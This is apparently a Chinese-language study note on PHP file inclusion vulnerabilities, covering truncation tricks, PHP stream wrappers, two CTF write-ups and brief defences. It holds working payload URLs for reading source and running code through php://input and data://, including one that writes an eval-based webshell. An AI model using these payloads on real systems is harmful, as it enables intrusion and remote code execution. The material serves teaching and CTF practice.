文件操作安全

原理

将包含文件以脚本代码执行

文件包含各个脚本代码

PHP:<?php include(“test.php”);?>

ASP:<!–#include file=”1.asp” –>

ASPX:<!–include file=”1.aspx” –>

JSP:<c: import url=”http://thief.one/1.jsp">

​ <jsp:include page=”head.jsp”/>

​ <%@ include file=”head.jsp”%>

php文件包含函数

include()、require()

require()语句的性能与include()相类似,都是包括并运行指定文件。不同之处在于:对include()语句来说,在执行文件时每次都要进行读取和评估;而对于require()来说,文件只处理一次(实际上,文件内容替换require()语句)。

这就意味着如果可能执行多次的代码,则使用require()效率比较高。另外一方面,如果每次执行代码时是读取不同的文件,或者有通过一组文件迭代的循环,就使用include()语句。

include_once()、require_once()

如果该文件中的代码已经被包括了,则不会再次包括。

这两个语句应该用于在脚本执行期间,同一个文件有可能被包括超过一次的情况下,确保它只被包括一次,以避免函数重定义以及变量重新赋值等问题。

参考

PHP中include和require的区别详解

类型

本地包含

含义:包含网站所在本地的文件

无限制

直接包含本地文件即可,还可以进行目录穿越

有限制

1.%00截断

条件:magic_quotes_gpc = OffPHP版本<5.3.4

2.长度截断

条件:Windows,文件命名最长256,可以重复添加/..等使长度超过256;Linux下需要长于4096

长度截断

远程包含

远程包含

含义:我们自己创建一个可以访问到的地址,利用该漏洞去包含我们创建地址的文件

无限制

直接包含文件即可,还可以进行目录穿越

有限制:强制添加后缀等

在文件名末尾加%20,%23,?都可以

添加特殊符号

各种协议流(php)

各协议的利用条件和方法

file://

用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。

用法

1
2
3
4
1、file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2、[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt

http://、https://

URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。

用法

1
2
http://网络路径和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://

php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

协议 作用
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

data://

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法

1
2
3
4
1、data://text/plain,[代码内容]
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64,[base64加密后代码内容]
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

读取文件源码用法

1
2
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

 

执行php代码用法

1
2
3
4
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

  

写入一句话木马用法

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

参考

详见:https://www.cnblogs.com/endust/p/11804767.html

靶场

南邮CTF-文件包含

wp

本题考点是本地包含读取

直接利用读文件协议php://filter/read=convert.base64-encode/resource=index.php,去读取index.php的源码

得到:

南邮CTF-文件包含-wp1

1
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

base64解密后得到flag

南邮CTF-文件包含-wp2

拓展

LFI:Local_File_Include

i春秋百度杯-2017年二月场-web-include

wp

判断系统类型:改后缀大小写,区分大小写是Linux,不区分则是Windows

访问靶场后显示如下:

web-include-wp1

直接先?path=flag.php,但无结果

试试用php://input尝试命令执行

web-include-wp2

再用cat去读该文件,并右键查看源码得到flag

web-include-wp3

防御

固定后缀:include($filename.”.html”);

固定文件:include(“1.php”);

WAF产品

资源

php文件包含漏洞源码 提取码:xiao